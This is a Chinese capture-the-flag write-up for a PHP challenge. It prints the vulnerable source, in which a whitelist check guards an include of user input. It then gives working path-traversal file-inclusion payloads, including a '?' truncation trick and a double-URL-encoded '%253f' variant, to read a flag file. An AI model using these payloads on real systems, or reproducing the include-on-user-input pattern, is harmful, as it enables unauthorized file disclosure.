打开题目,是一个滑稽图
没发现什么,查看下网页源代码,发现了source.php
访问source.php,发现以下source.php中的代码,经测试,这是index.php的源代码
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
hint.php是什么?看一下,原来flag在/ffffllllaaaagggg中
代码整体框架,其核心利用代码如下:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
整体利用的漏洞就是代码最后的include函数,利用文件包含漏洞
因此,最后的if条件语句是关键,即需要满足if(true && true && true)
,才会执行include函数,否则输出滑稽图。
! empty($_REQUEST['file']
满足true简单
is_string($_REQUEST['file']
满足true简单
emmm::checkFile($_REQUEST['file']
满足true,需要执行emmm类中的checkFile函数,使得该函数最终返回true才可以
整体细节详解(checkFile函数的目标就是返回true):
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
1、定义了一个类emm
2、在类emm中定义了一个checkFile()函数
3、不执行函数,先判断下面的if语句:if (true && true && true)才能执行include函数,所
以需要满足如下要求:
(1)$_REQUEST['file']不为空,!empty($_REQUEST['file']才会返回true;
(2)$_REQUEST['file']是字符串,is_string($_REQUEST['file']才会返回true;
(3)checkFile($_REQUEST['file']返回true,emmm::checkFile($_REQUEST['file']才
会返回true;
因此,满足这三个条件,最后才能执行include函数
4、接下来看看checkFile()函数中的内容
(1)第一个if不能return flase,因为这里不能执行{}中的语句,因为不管return true或者return false,都会
终止当前函数的执行,所以需要满足if (false || false)才能继续执行下面的代码,即,$page存在并且是字符串;
(2)第2个语句可以执行,返回true
那么,就需要$whitelist中存在$page
注:in_array函数是检查数组中是否存在某个值(找到true;找不false),特别注意这是在数组的键值中找,不包括键
5、这样的话我们就可以构造payload
(1)测试payload1:
http://111.198.29.45:56708/index.php?file=source.php
执行了source.php,输出了里面的内容
(2)测试payload2:
http://111.198.29.45:56708/index.php?file=source.php../../../../../ffffllllaaaagggg
我想得到ffffllllaaaagggg时就出问题了,因为ffffllllaaaagggg不在$whitelist数组的键值中,并且
继续执行代码后,下面$_page=source.php../../../../../../../ffffllllaaaagggg,第3个if语句false,
urldecode后$_page=source.php../../../../../../../ffffllllaaaagggg,mb_substr后还是这个,第4
个if语句还是false,最后输出you can't see it,还return false,这还玩啥
该如何解决?我需要include ffffllllaaaagggg文件,而且需要使用../,怎样绕过?
注意到mb_strpos($page . '?', '?')没,我们构造一个?即可
(3)测试payload3:
http://111.198.29.45:56708/index.php?file=source.php?../../../../../../ffffllllaaaagggg
构造?的话,第2个if语句就不能返回true了,第3个if语句一样,也不能执行return语句,第4个if语句需要满足if
(true),因为需要执行{}中的内容,最后使得checkFile()函数返回的布尔类型为true
(4)payload3执行流程:此时file=source.php?../../../../../../ffffllllaaaagggg
第1个if返回false
第2个if返回false
$_page=source.php
第3个if返回true,退出checkFile函数,此时核心代码中已满足if(true&&true&&true),即执行include函数
最后include(source.php?../../../../../../ffffllllaaaagggg)
疑惑:为什么urldecode没有用到?有些wp用到了,但这也是多此一举了,最后目标其实是一样的,checkFile汉纳树返回true嘛
例如用到urldecode的payload:
http://111.198.29.45:56708/index.php?file=source.php%253f../../../../../ffffllllaaaagggg
执行流程:
第1个if返回false
第2个if返回false
$_page=source.php%3f../../../../../ffffllllaaaagggg
第3个if返回false
urldecode执行后,$_page=source.php?../../../../../ffffllllaaaagggg
执行mb_substr后$_page=source.php
return true
下面核心代码执行同理
最后include(source.php%253f../../../../../ffffllllaaaagggg)
(1)只要函数中return执行了,就会立即结束函数的执行,继续执行函数外的代码
(2)||表示任意||两边只要有一边是true,整体就返回true
(3)in_array函数是检查数组中是否存在某个值(找到true;找不false),特别注意这是在数组的键值中找,不包括键
(4)mb_strpos查找目标首次出现的位置,从0开始
(5)mb_substr返回字符串,特别注意的是:mb_strpos获取的数字,在mb_substr不是从0开始,而是代表返回的长度